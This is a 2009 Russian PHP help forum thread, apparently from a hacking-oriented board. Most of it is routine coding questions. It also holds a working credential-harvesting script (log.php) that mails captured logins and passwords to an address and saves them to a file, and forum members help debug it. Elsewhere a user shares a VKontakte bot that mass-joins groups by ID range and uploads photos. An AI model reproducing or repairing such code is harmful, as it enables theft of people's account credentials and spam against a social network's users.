} А как можно сделать что-то адекватное с определённым колвом ссылок?
']А как можно сделать что-то адекватное с определённым колвом ссылок?
функция
function link_bar($page, $count, $pages_count, $show_link,$ll)
{
if ($pages_count == 1) return false;
$sperator = ' ';
$style = 'style="color: #808000; text-decoration: none;"';
$begin = $page - intval($show_link / 2);
unset($show_dots);
if ($pages_count <= $show_link + 1) $show_dots = 'no';
if (($begin > 2) && ($pages_count - $show_link > 2)) {
echo '<a '.$style.' href=\''.$ll.'&rz=1#f\'> <<< </a> ';
}
for ($j = 0; $j <= $show_link; $j++)
{
$i = $begin + $j;
if ($i < 1) continue;
if (!isset($show_dots) && $begin > 1) {
echo ' <a '.$style.' href=\''.$ll.'&rz='.($i-1).'#f\'><b>...</b></a> ';
$show_dots = "no";
}
if ($i > $pages_count) break;
if ($i == $page) {
echo ' <a '.$style.' ><b>'.$i.'</b></a> ';
} else {
echo ' <a '.$style.' href=\''.$ll.'&rz='.$i.'#f\'>'.$i.'</a> ';
}
if (($i != $pages_count) && ($j != $show_link)) echo $sperator;
if (($j == $show_link) && ($i < $pages_count)) {
echo ' <a '.$style.' href=\''.$ll.'&rz='.($i+1).'#f\'><b>...</b></a> ';
}
}
if ($begin + $show_link + 1 < $pages_count) {
echo ' <a '.$style.' href=\''.$ll.'&rz='.$pages_count.'#f\'> >>> </a>';
}
return true;
}
Вызвать так
link_bar($rzt,$kol,$kol, 15,'?l=static&&wpp='.$wpp);
если я правильно понял что требуется)
zifanchuck
12.10.2009, 17:48
Gifts, спс, только вот всеравно не пашет(
шлю так
$result = curl($ssil, array(
'act'=>"do_add",
'id'=>$id,
'aid'=>$id,
'gid'=>$i,
'mid'=>$mid,
'hash'=>$hash,
'vk'=>"",
'rhash'=>$rhash,
'file1'=>"@$foto"));
Вроде так как ты сказал. всеравно пишет ошибку(
регулярные выражения в php, часть 1 (http://phpclub.ru/detail/article/regexp_1)
регулярные выражения в php, часть 2 (http://phpclub.ru/detail/article/regexp_2)
Да выучил уже это наизусть... не могу сообразить как фильтр прописать... добры люди, подскажите кодом, кто сколько может
Да выучил уже это наизусть... не могу сообразить как фильтр прописать... добры люди, подскажите кодом, кто сколько может
значит плохо выучил
zifanchuck, Почти такая же ситуация, но только у меня пишет:
HTTP/1.1 302 Found Server: nginx/0.7.59
Date: Mon, 12 Oct 2009 17:47:19 GMT
Content-Type: text/html; charset=windows-1251
Connection: keep-alive
X-Powered-By: PHP/5.2.0-8+etch13
Pragma: no-cache
Cache-control: private, must-revalidate
Location: http://vk.com/photos.php?act=done_add&mid=11299865&aid=97211801&gid=0& server=4165&photos=&hash=85bdc5277d4ef08f05738839d3a739ee
Content-Length: 0
А фото нету :confused:
zifanchuck
12.10.2009, 22:02
TweakeR, код кинь))) ето походу рабочий. потом наверное нужно по тому урлу что вконце пройти, типа подтверждения, имхо. код кинь или в личку или в теме отпишись) а то яуже сутки ломаю голову)))
zifanchuck, держи
preg_match_all("#album([0-9]+)_([0-9]+)#",$alb,$alb_id);
$alb_id_userid = $alb_id[1][0];
$alb_id_alboid = $alb_id[2][0];
print "We open an album ".$alb_id_alboid." --- OK\n";
$photo = $this->twk_curl("http://vk.com/photos.php?act=add&id=".$alb_id_alboid."&oid=".$alb_id_userid ,$cook,"","http://vk.com/photos.php?act=add&id=".$alb_id_alboid."&oid=".$id);
preg_match_all ('#upload\" action=\"(.*)\"#iU', $photo, $regs);$ssil = $regs[1][0];
preg_match_all ('#name=\"id\" value=\"(.*)\"#iU', $photo, $regs);$aid = $regs[1][0];
preg_match_all ('#name=\"mid\" value=\"(.*)\"#iU', $photo, $regs);$mid = $regs[1][0];
preg_match_all ('#name=\"hash\" value=\"(.*)\"#iU', $photo, $regs);$hash = $regs[1][0];
preg_match_all ('#name=\"rhash\" value=\"(.*)\"#iU', $photo, $regs);$rhash = $regs[1][0];
return $this->twk_curl($ssil,$cook,"act=do_add&id=".$aid."&aid=".$aid."&gid=0&mid=".$mid."&hash=".$hash."&vk=1&rhash=".$rhash."&file1=foto.jpg","http://vk.com/photos.php?act=add&id=".$aid."&oid=".$mid);
Сама функция:
function twk_curl($hostname,$cook,$postfield,$refer) {
global $vkcookie;
if(($ch = curl_init($hostname)) == TRUE)
{
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3');
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfield);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_COOKIE, $cook);
curl_exec($ch);
$result = curl_multi_getcontent($ch);
curl_close($ch);
flush();
return $result;
}
}
Если будут успехи отпишись, тоже запарился =\
разобрался, ошибка редирикта
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
:)
zifanchuck
13.10.2009, 00:49
Чето непойму где ошибка. хочу модернизировать свой скрипт чтобы вступал в группы по диапазону и добавлял фотку.
вот скрипт
<form method="POST">
<center>
Email:<input type="text" name="email"><br>
Pass:<input type="text" name="pass"><br>
Стартовать с ID:<input type="text" name="start"><br>
Закончить на ID:<input type="text" name="end"><br>
Таймаут:<input type="text" name="sleep"><br>
<input type=submit value="НАчать РАботать!!!"></center>
<?php
//Бот для вступления в группы и встречи по диапазону...
set_time_limit(0);
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$start = $_POST['start'];
$end = $_POST['end'];
$email = $_POST['email'];
$pass = $_POST['pass'];
$sleep = $_POST['sleep'];
if(!$email||!$pass||!$start||!$end||!$sleep){exit; }
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
for($i=$start; $i<=$end; $i++)
{
//$rand = rand(1, 21);
$foto = 'C:\foto.jpg';
$result = curl("http://vkontakte.ru/club".$i,"");
preg_match_all ('#</li><li><a href=\'(.*)\'>#iU', $result, $regs);
$ssil = $regs[1][0];
$result = curl("http://vkontakte.ru".$ssil,"");
preg_match_all ('#\/photos\.php\?act=add(.*)\"#iU', $result, $regs);
$photo = $regs[0][0];
$photo = str_replace('"', '', $photo);
$photo = "http://vkontakte.ru".$photo;
$result = curl($photo,"");
echo $result;
preg_match_all ('#upload\" action=\"(.*)\"#iU', $result, $regs);
$ssil = $regs[1][0];
preg_match_all ('#name=\"id\" value=\"(.*)\"#iU', $result, $regs);
$id = $regs[1][0];
preg_match_all ('#name=\"mid\" value=\"(.*)\"#iU', $result, $regs);
$mid = $regs[1][0];
preg_match_all ('#name=\"hash\" value=\"(.*)\"#iU', $result, $regs);
$hash = $regs[1][0];
preg_match_all ('#name=\"rhash\" value=\"(.*)\"#iU', $result, $regs);
$rhash = $regs[1][0];
echo "<br>".$ssil."<br>".$id."<br>".$mid."<br>".$hash."<br>".$rhash."<br>".$i."<br>";
$result = curl($ssil, array( 'act' => 'do_add',
'id' => $aid,
'aid' => $aid,
'gid' => $i,
'mid' => $mid,
'hash' => $hash,
'rhash' => $rhash,
'vk' => 0,
'file1' => "@".$foto));
echo $result;
/*
sleep(2);
$result = curl("http://vkontakte.ru/events.php?act=s&gid=".$i,"");
preg_match_all ('#<a href=\"events\.php\?act=enter\&gid=(.*)\">#iU', $result, $regs);
$ssil = $regs[1][0];
$result = curl("http://vkontakte.ru/events.php?act=enter&gid=".$ssil,"");
sleep($sleep);
*/
}
?>
надаюсь поможете. а то завтра уезджаю, времени уже завтра небудет, а изза того что скрипт не закончил отдохгуть нормально не смогу :(
zifanchuck
каким образом ты пытаешся авторизироватся на вкантакте? Невижу просто парс сессии.
zifanchuck
каким образом ты пытаешся авторизироватся на вкантакте? Невижу просто парс сессии.
Авторизация там проходит, вопрос как изображение загрузить.
zifanchuck
13.10.2009, 11:01
каким образом ты пытаешся авторизироватся на вкантакте? Невижу просто парс сессии.
Там ее и парсить ненадо, все норм работает. в группы вступает а вот картинку загружать нехочет((
дошёл до такого результата:
HTTP/1.1 100 Continue
HTTP/1.1 302 Found
Server: nginx/0.7.59
Date: Tue, 13 Oct 2009 09:16:50 GMT
Content-Type: text/html; charset=windows-1251
Connection: keep-alive
X-Powered-By: PHP/5.2.0-8+etch13
Pragma: no-cache
Cache-control: private, must-revalidate
Location: http://vk.com/photos.php?act=done_add&mid=11299865&aid=97211801&gid=0&server=4166&photos=8acc51df52x&hash=d133027aebf89a1c55163ddd4b3224bd
Content-Length: 0
WVBR, спасибо. но мудрённо очень ) переменные непонять какие. но если долго посидеть...
']WVBR, спасибо. но мудрённо очень ) переменные непонять какие. но если долго посидеть...
ты скинь полный вариант скрипта я заточу тебе под конкретную задачу, тебе нужен постраничный вывод, например по принципу выдачи серча в гугл я правильно понял?
crazy~driver
13.10.2009, 23:41
подскажите, при записи в txt файл все данные записываются в одну строку. как сделать перевод строки? Чтобы каждая новая запись производилась со следующей строки
/*if (strtoupper(substr(PHP_OS,0,3)) === "WIN")
{
$per = 'rn'; // перевод строки для Windows-систем
}
else
{
$per = 'n'; // перевод строки для UNIX-систем
}
*/
$adres="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$file=fopen ("module/deystvie.txt","a");
fwrite ($file,$adres);
fclose ($file);
wildshaman
13.10.2009, 23:45
fwrite ($file,$adres."\r\n");
подскажите, при записи в txt файл все данные записываются в одну строку. как сделать перевод строки? Чтобы каждая новая запись производилась со следующей строки
fwrite ($file,$adres."\r\n");
ПХП злодей, у меня такой вопрос, есть БД ну допусти чата где хранятся к слову (ник,сообщение) надо мне вывести тор-10 у кого сумма сообщений больше всего , какой ни будь кривой скрипт но рабочий я сам могу, надо что бы быстро выводил и не перебирал базу по сто раз
или может как то в одном запросе к БД можно сделать это. на пример:
select nic , count(mes) from ... order by count(mes) limit 10
select nick, count(mes) as cnt from таблица group by nick order by cnt desc limit 0,10
Вопрос такой, мне необходимо периодически с сайта (гдето раз в 5 сек) подгружать определенную информацию (несколько цифровых значений) для отображения этих данных на странице, обновлять всю страницу будет слишком долго и будет расходоваться много трафика. Т.е. это должно быть чтото наподобии регистрации на mail.ru, когда производится проверка занятости ящека. Интересует как это можно организовать на php с учетом того что это выполнять будет самописный компонент для joomla
[x26]VOLAND
14.10.2009, 10:46
Используй технологию AJAX (на JS).
Например, подключаешь к странице js-фреймворк jQuery (jquery.com), затем в коде пишешь:
$.getJSON("http://site.com/page.php?get_json_data", function(data) {
// Операции с объектом data
// (берёшь его поля и рассовываешь по нужным тегам)
$("#имя_элемента").text(data.SomeField);
});
Ссылка http://site.com/page.php?get_json_data должна отсылать клиенту объект с данными в формате json.
Как выставить периодическое выполнение - почитай в мануале.
Patronik
14.10.2009, 14:24
Есть проблема с сесиями в пхп. На локалхосте написал сценарий для хранения в сесии некоторых даных, и все прекрасно работало, но после закачки на хостинг сесии почему то не работают нормально. Ошыбки не выдает, а просто не работает.
Листинг файла таков
<?php
session_start();
$id = $_GET['id'];
if($id)
{
$cart = array();
$totalPrice = 0;
$_SESSION['totalPrice'];
if($_SESSION['cart'][$id]) // если есть такой тогда увеличиваем на единицу
{
$_SESSION['cart'][$id]++;
}
else // Если нет тогда создаем
{
$_SESSION['cart'][$id]=1;
}
}
?>
проблема в том что новые елементы масива cart не создаються так как будто они храняться не в масиве сесий а в обычном масиве. То есть они не сохраняються после перехода между страницами. Непойму в чем дело. Могут ли настройки на хостинге влиять на работу сесий?
$cart = array();
$totalPrice = 0;
$_SESSION['totalPrice']
Что делает 3 строка? оО
Patronik
14.10.2009, 15:20
PHP код:
$cart = array();
$totalPrice = 0;
$_SESSION['totalPrice']
Что делает 3 строка? оО
В етой строке об`вляеться переменная totalPrice. Но дело не в етом. А дело в том что на локалхосте все пашет и нормально создаються переменние и передаються сесией по страницам. А на хостинге виглядит как обычный масив и каждий раз просто создает в масиве $_SESSION один елемент как будто ето обычный масив а не масив сесии, и после вихода не сохраняет.
session_start();
юзай перед использованием массива сессий
Patronik
14.10.2009, 15:28
я использую, полний код два поста више
я использую, полний код два поста више
Тебе говорят про другой документ,на который пользователь попадает после этого.Там тоже должны быть включены сессии.
Gray_Wolf
14.10.2009, 15:40
Могут ли настройки на хостинге влиять на работу сесий?
А где у вас $_SESSION['cart']=$cart;?
Patronik
14.10.2009, 18:40
А где у вас $_SESSION['cart']=$cart;?
А зачем ето делать?
У меня так
<?php
session_start();
$id = $_GET['id'];
if($id)
{
$cart = array();
$totalPrice = 0;
$_SESSION['totalPrice'];
if($_SESSION['cart'][$id]) // если есть такой тогда увеличиваем на единицу
{
$_SESSION['cart'][$id]++;
}
else // Если нет тогда создаем
{
$_SESSION['cart'][$id]=1;
}
}
?>
У меня сначала обявляеться
$cart = array();
Потом он стает елементом масива $_SESSION (получаеться многомерный масив) А потом просто циклом прохожу по $_SESSION['cart'].
foreach ($_SESSION['cart'] as $item=>$countitems)
{
echo ' Товар '.$item.' Количество '.$countitems.' ';
}
И все работает на денвере. А на хостинге в $_SESSION['cart'] не сохраняеться ничего, а каждий раз просто новый елемент появляеться.
На всех старницах где требуеться использовать $_SESSION['cart'] стартует сесия сначала типа так:
<?php
session_start();
?>
Patronik
14.10.2009, 22:36
Я наверно понял проблему, на хостинге register globals on. Из за етого неработает сесия?
crazy~driver
14.10.2009, 23:37
Если в штаксес прописано
ErrorDocument 404 /zawita/404.php
Возможно ли средствами php в другом любом скрипте отследить была ли загружена эта страница или нет
и тоже самое с 403
Если в штаксес прописано
ErrorDocument 404 /zawita/404.php
Возможно ли средствами php в другом любом скрипте отследить была ли загружена эта страница или нет
и тоже самое с 403
как вариант, можно в 404.php заносить данные о посещении - в бд или в файлы, а потом в любом другом скрипте эти данные запросить.
Если в штаксес прописано
ErrorDocument 404 /zawita/404.php
Возможно ли средствами php в другом любом скрипте отследить была ли загружена эта страница или нет
и тоже самое с 403
в файл 404.php добавить счетчик или флажок если количество не имеет значения;)
Как перезаписать определенную строку?
ReduKToR
15.10.2009, 12:23
Как сделать скриптом Скриншот первого кадра видео в формате AVI?
мини превью
Ты об этом?
$str = 'aaaaaaaaaaaaaa';
// перезаписываем
$str = 'bbbbbbbbbbbbbb';
Нет. Я имею ввиду работу с текстовым файлом (fopen)
Нет. Я имею ввиду работу с текстовым файлом (fopen)
как один из вариантов, считать в массив изменить нужные строчки и потом записать
$ff=file("***.txt");
$ff[i]="новое значение";
(второй вариант поставить курсор в нужное место, но я в этом варианте не уверен)
$oldtext = 'Старый текст';
$newtext = 'новый текст';
$file = file_get_contents('file.txt');
$new = str_replace($oldtext,$newtext,$file);
$open = fopen('file.txt','w');
fwrite($open,$new);
fclose($open);
Можно еще проще.
$oldtext = 'Старый текст';
$newtext = 'новый текст';
$file = file_get_contents('file.txt');
$new = str_replace($oldtext,$newtext,$file);
$open = fopen('file.txt','w');
fwrite($open,$new);
fclose($open);
Можно еще проще.
зачем стр_риплейсить ,а не сразу записать $newtext
________
0ph.ru
зачем стр_риплейсить ,а не сразу записать $newtext
Если файл выгляди так:
Привет,я Старый текст! Я хотел....
м?)
Если файл выгляди так:
Привет,я Старый текст! Я хотел....
м?)
не догоняю,ты имел в виду : заменять определенную часть текста?
________
0ph.ru
не догоняю,ты имел в виду : заменять определенную часть текста?
Помоему,в вопросе выше именно это и требовалось :)
KaZ@NoVa
15.10.2009, 20:05
Как сделать скриптом Скриншот первого кадра видео в формате AVI?
мини превью
http://p.outlyer.net/vcs/
<?php
$email="******";
$passwd="******";
$ch=curl_init();
$ckfile = "cookie.txt";
if (file_exists($ckfile) && is_writable($ckfile)){
echo "found cookie file!<br>";
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $ckfile);
curl_setopt($ch, CURLOPT_URL,"http://pda.vkontakte.ru/login?pda=index&acknowledge=0");
curl_setopt($ch, CURLOPT_HEADER,true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$email&pass=$passwd");
$buf=curl_exec($ch);
echo $buf;
curl_close($ch);
}
else {
echo "fail opening cookie file";
}
?>
Результат выводит, но куки в файл не записывает =( на самом файле права 0777. Почему?
-PsychonauT-
16.10.2009, 00:44
Установил себе денвер правда на нем могу сделать только icqChat, но недавно появилась нужда установить PHP, для этого нужно было установить Денвер и Denwer3_PHP5_2008-01-13_5.2.4 и раскодировать строчку.....
теперь вопрос: ПОЧЕМУ ТЕПЕРЬ НЕ ЗАХОДИТ В localhost, localhost:8888 и localhost/Tools/phpMyAdmin/
п.с hosts почистил
wildshaman
16.10.2009, 00:48
п.с hosts почистил
Потому и не заходит.
-PsychonauT-
16.10.2009, 01:25
переустановил денвер теперь вместо localhost'a автоматом заходит вконтакт, а при попытки зайти localhost/Tools/phpMyAdmin/ пишет 404 Not Found
Есть строка $hex="544324234523534531".
С помощью какой функции её можно разбить на подстроки по 2 символа?
или есть такая, которая после каждого второго символа поставит, например символ процента?
пока решил так:
$hex='%'.wordwrap($hex,2,'%',1);
но всё равно хочется знать, есть ли стандартная функция для этого
str_split ($hex, 2);
или если нужна строка из хексов
pack ('H*', $hex);
переустановил денвер теперь вместо localhost'a автоматом заходит вконтакт, а при попытки зайти localhost/Tools/phpMyAdmin/ пишет 404 Not Found
а tools отображается? как он собственно может зайти в пхпмайадмин, если локалхост настроен на контакт? перенастрой локалхост на 127.0.0.1
-PsychonauT-
16.10.2009, 12:27
Boogie хостс в своей красе
http://s46.radikal.ru/i113/0910/a3/159857d58eb3.jpg (http://www.radikal.ru)
подскажи как перенастроить пожалуйста)))
Boogie хостс в своей красе
подскажи как перенастроить пожалуйста)))
-PsychonauT-, удали строчки:
127.0.0.1 vkontakte.ru
127.0.0.1 www.vkontakte.ru
сохрани и перезапусти денвер.
-PsychonauT-
16.10.2009, 12:43
[dword] в бестолку(((( пробовал
-PsychonauT-, попробуй удалить папку Z(название диска где денвер):\home\vkontakte.ru если такая есть
убирай строчки с редиректом контакта, перезагрузи комп
Patronik
16.10.2009, 13:14
Есть строка $hex="544324234523534531".
С помощью какой функции её можно разбить на подстроки по 2 символа?
или есть такая, которая после каждого второго символа поставит, например символ процента?
пока решил так:
$hex='%'.wordwrap($hex,2,'%',1);
но всё равно хочется знать, есть ли стандартная функция для этого
Вот так можеш сделать.
$hex="544324234523534531";
$len=strlen($hex);
for($i=0; $i<$len;)
{
$var[] = substr($hex, $i, 2)."%";
$i += 2;
}
foreach ($var as $val)
{
echo ''.$val.'<br>';
}
Вот так можеш сделать.
$hex="544324234523534531";
$len=strlen($hex);
for($i=0; $i<$len;)
{
$var[] = substr($hex, $i, 2)."%";
$i += 2;
}
foreach ($var as $val)
{
echo ''.$val.'<br>';
}
Мне вот даже интересно что он выберет, свой однострочный вариант или твой.
crackmail
16.10.2009, 18:44
Имеется файл log.php
при таком сорце он не срабатывает , как более грамотнее написать?
<img height=0 width=0 src="http://www.imet/gail.php">
<?PHP
код
код
код
header("Location: http://antichat.net");
?>
Имеется файл log.php
при таком сорце он не срабатывает , как более грамотнее написать?
header("Location: http://antichat.net"); - до вывода
________
0ph.ru
crackmail
16.10.2009, 18:57
header("Location: http://antichat.net"); - до вывода
если до вывода то файл log.php вообще не пашет
Parse error: syntax error, unexpected '<' in
если до вывода то файл log.php вообще не пашет
Parse error: syntax error, unexpected '<' in
давай весь код, я не телепат.
Эрорит из-зи того что ты <img height=0 width=0 src="http://www.imet/gail.php"> постиш <? тут ?> без использования операторов вывода
________
0ph.ru
crackmail
16.10.2009, 19:14
спасибо сделал
без задержек:
<?PHP
Error_Reporting(E_ALL & ~E_NOTICE);
$Login = $_GET['Login'];
$Domain = $_GET['Domain'];
$Pass = $_GET['Password'];
//####################################
$from = "ol.ru"; //
$to = "o95@ru"; //
$subj = " l.com : $Login@$Domain"; //
$body = " Логин: $Login@$Domain \n Пароль: $Password"; //
//####################################
$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";
$from=convert_cyr_string($from,"w","k");
$to=convert_cyr_string($to,"w","k");
$subj=convert_cyr_string($subj,"w","k");
$body=convert_cyr_string($body,"w","k");
mail($to,$subj,$body,$from);
$c = "$Login@$Domain:$Password";
$f=fopen("c.txt","at");
flock($f,2);
fputs($f,"Логин: ".$_GET['Login']);
fputs($f,"Пароль: ".$_GET['Password']."\n");
flock($f,3);
fclose($f);
header("Location: http://antichat.net");
?>
<img height=0 width=0 src="http://www.imet/gail.php">
________
0ph.ru
prescott
17.10.2009, 13:01
Сегодня начал разбираться с xpath, вопрос конечно не по PHP, но новую тему создавать смысла думаю нет. Есть XML:
<products>
<product name="pr_name">
<properties>
<property name="distr">
http://example.com/distr.exe
</property>
<property name="img">
http://imgs.com/img.jpg
</property>
</properties>
</product>
<products>
Нужно получить ссылку на дистрибутив, указанную в узле <property> с атрибутом name="distr", делаю так:
$xml_string = file_get_contents($url);
$xml = simplexml_load_string($xml_string);
foreach ($xml->products->product as $product) {
$distr = $product->xpath("properties/property[@name='distr']/text()");
print_r($distr);
}
$distr - пустой массив, что неправильно делаю? Если писать так: $distr = $product->xpath("properties/property[@name='distr']");
то возвращает узел property со списком атрибутов, значит путь пишу верно, но как получить текстовое значение узла?
Вопрос снят: ссылка на дистрибутив была в CDATA
$link = "http://nokiabest.ru/files/Emylyatory/games/WAD/40_skin.zip";
$name = explode("/", $link);
$name = $name[count($name) - 1];
header("Content-Disposition: attachment; filename=\"Google.Com_$name\";");
file_get_contents($link);
почему выдается для скачивания файл с расширением htm, хотя должен с расширением zip?
Привет всем, помогите кто знает. Хочу засабмитить форму multipart/form-data через php + cURL
такой post браузер передаёт
-----------------------------1889646677285 Content-Disposition: form-data; name="tagcount" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="ffont" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="fcolor" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="fsize" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="a" fcmmnew -----------------------------1889646677285 Content-Disposition: form-data; name="d" 1 -----------------------------1889646677285 Content-Disposition: form-data; name="login" ararat -----------------------------1889646677285 Content-Disposition: form-data; name="foto" 1 -----------------------------1889646677285 Content-Disposition: form-data; name="s" -----------------------------1889646677285 Content-Disposition: form-data; name="message" dsfsdf -----------------------------1889646677285 Content-Disposition: form-data; name="Submit" ОтпÑ?авить -----------------------------1889646677285--
я эт все в массив
$postdata = array( 'tagcount' => '0', 'ffont' => '0', 'fcolor' => '0', 'fsize' => '0', 'a' => 'fcmmnew', 'd' => '1', 'login' => 'ararat', 'foto' => '1', 's' => '', 'message' => 'dsfsdf', 'Submit' => 'Отправить' );
Но в результате открывается страничка которая должна открыться, но без коммента, что я не так делаю?
Парни нужна помощь,никак не получается загнать в базу данные!
Есть форма регистрации,в ней 5 форм:
логин
е-мейл
пароль
наст.имя
сайт
Они отправляются на страницу,с помощью POST
Там получаются,тем же POST в соотв. переменную каждый(в отдельную)!
Но у меня никак не получается записать их в таблицу!
У меня создана база,в ней таблица users
в таблице 5 полей соотв. названиям инпутов и выбран тип каждого поля - text!Кому не сложно напишите код который после получения будет их забивать в базу!И скажите еще,правильно ли я выбираю тип поля таблицы - text и при следующем заносе,то бишь при следующей регистрации все будет нормально?Заранее всем спасибо :)
лучше свой код покажите, который никак не может записать "форму из пяти форм"
<?php
$dblocation="localhost";
$dbname="base";
$dbuser="user";
$dbpassword="pass";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$login=$_POST[login];
$password =$_POST[password];
$email =$_POST[email];
$name =$_POST[name];
$www =$_POST[www];
$userAdd = mysql_query("INSERT INTO
users (login,password,email,name,www)
VALUES
('$login', '$password', '$email', '$name', '$www', ''");
?>
з.ы.Поторопился,из 5 строк/полей
<?php
$login=$_POST['login'];
$password =$_POST['password'];
$email =$_POST['email'];
$name =$_POST['name'];
$www =$_POST['www'];
?>а если так?
я заметил что разницы нет,хоть в другом скрипте но думаю все же!
С кавычками у меня проблем не было,лучше посмотри в мускул запросом все правильно?
Patronik
17.10.2009, 20:53
<?php
$dblocation="localhost";
$dbname="base";
$dbuser="user";
$dbpassword="pass";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$login=$_POST[login];
$password =$_POST[password];
$email =$_POST[email];
$name =$_POST[name];
$www =$_POST[www];
$userAdd = mysql_query("INSERT INTO
users (login,password,email,name,www)
VALUES
('$login', '$password', '$email', '$name', '$www', ''");
?>
2qW1zer
PRIMARY KEY у тебя в таблице где знаходиться? и какие параметрие етого поля
должно быть так
youtable_key primary key int auto_increment not null
а это что :
... '$www', ''");
?
+ юзай mysql_real_escape_string(); перед вставкой данных ,type - string
не знаю как тебе,мне так удобней инсертить:
mysql_query("INSERT INTO `users` SET `login`='".$login."',`passord`='".$password."',`email`='".$email."',`name`='".$name."',`www`='".$www."'")
________
0ph.ru
а зачем ты вставляешь 6 значений в 5 полей и не закрываешь скобку?$userAdd = mysql_query("INSERT INTO
users (login,password,email,name,www)
VALUES
('$login', '$password', '$email', '$name', '$www')");P.S. перед выполнением запроса входящие данные лучше проверять
users (login,password,email,name,www)
5 полей
('$login', '$password', '$email', '$name', '$www', ''")
6 полей
Patronik
17.10.2009, 21:01
[QUOTE=L I G A]а это что :
... '$www', ''");
?
ето он первичний ключ записивает
А если при создании таблицы выбрать string ??
хм,точно не заметил последние зачем
Спасибо сейчас попробую
Patronik,если б я знал!Я говорю только только начал связываться с мускулом!
Поэтому даже уровня Привет мир нет
gisTy
Твой вариант сработал,
$userAdd = mysql_query("INSERT INTO
users (login,password,email,name,www)
VALUES
('$login', '$password', '$email', '$name', '$www')");
Спасибо,данные занесены!Чуть позже пара вопросов будет еще
Вот и появились эти пара вопросов,не втыкаю теперь как сделать форму для логина,точнее ее обработчик!
В общем форма такая:
Login
Password
Обработчик так же в переменную через пост получает их,и как сделать чтобы из базы из всех логинов и паролей проверились есть ли такой логин и пасс и если есть то кука поставилась,куку я сделаю,а вот проверку хрен!
Снова прошу помощи,если кто может подкиньте этот самый,заветный кусочек кода
Вот и появились эти пара вопросов,не втыкаю теперь как сделать форму для логина,точнее ее обработчик!
В общем форма такая:
Login
Password
Обработчик так же в переменную через пост получает их,и как сделать чтобы из базы из всех логинов и паролей проверились есть ли такой логин и пасс и если есть то кука поставилась,куку я сделаю,а вот проверку хрен!
Снова прошу помощи,если кто может подкиньте этот самый,заветный кусочек кода
$res = mysql_query("SELECT
id,
login ,
password,
email
FROM
users
WHERE
login = '$login' AND password = '$password'");
if (mysql_num_rows($res) != 1) {
header('Location:../index.php');
die;
} else {
//Если пользователь есть
}
$query = "SELECT pass FROM `users` WHERE login='".$login."'";
$nme = mysql_query($query);
if($nme)
{
// Если запрос вернул результат - производим дальнейшую обработку
if(mysql_num_rows($nme) > 0)
{
$passwordnah = mysql_result($nme, 0);
// Сравниваем пароль из базы данных и введённый .юзверем
if ($passs == $passwordnah)
/*если пасс в мд5
if (md5($passs) == $passwordnah)
*/
{
дальнейшие действия
}
}
}
________
0ph.ru
Приветствую всех...
У меня такой вопрос:
Пытаюсь авторизоваться на одном сайте (php+curl)... Какой пост запрос слать серверу отследил как полагается, и отсылаю его...
Причём независимо от того, верные данные в запросе или нет, получаю следующий ответ от сервака:
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 17 Oct 2009 20:54:12 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
<html>
<head>
<script>
var expire = new Date();
expire.setTime(expire.getTime() + 3600000 * 24);
document.cookie = 'check=' + escape('3f39c4ae1ba5cda27e93350f095d43cb') + ';expires=' + expire.toGMTString() + ';path=/';
// document.location.href = document.location.href;
document.location.reload(false);
</script>
</head>
</html>
Понятно, что устанавливаются куки яваскриптом.. но как должны эти куки выглядеть (не понятно мне что такое expire.toGMTString(), вернее как его расчитать средствами php)
SeoLapot
18.10.2009, 02:22
Сам в пхп не шарю, но не пойму почему не работает этот скрипт - по идее он должен выдавать на странице каким-то образом все страницы, которые есть на сайте (как бы карта сайта), но почему-то не пашет. Помогите)
<?php
$backlink='';
if (isset($_GET['link']) && !empty($_GET['link'])) {
$r=parse_url($_GET['link']);}
if (isset($r['path'])) {$backlink="<a href=\"http://{$_GET['catalog']}\" target=_blank>: {$r['path']}</a><br>\n";}
echo $backlink;
?>
(не понятно мне что такое expire.toGMTString(), вернее как его расчитать средствами php)
expire - служит для обозначения "Времени жизни" кук.
toGMTString переводит в строку вида:
Sat, 17 Oct 2009 22:39:52 GMT
На php похожая -
date("r");
Или так
date("D, d M Y H:i:s",time()-14400)." GMT";
что я хочу
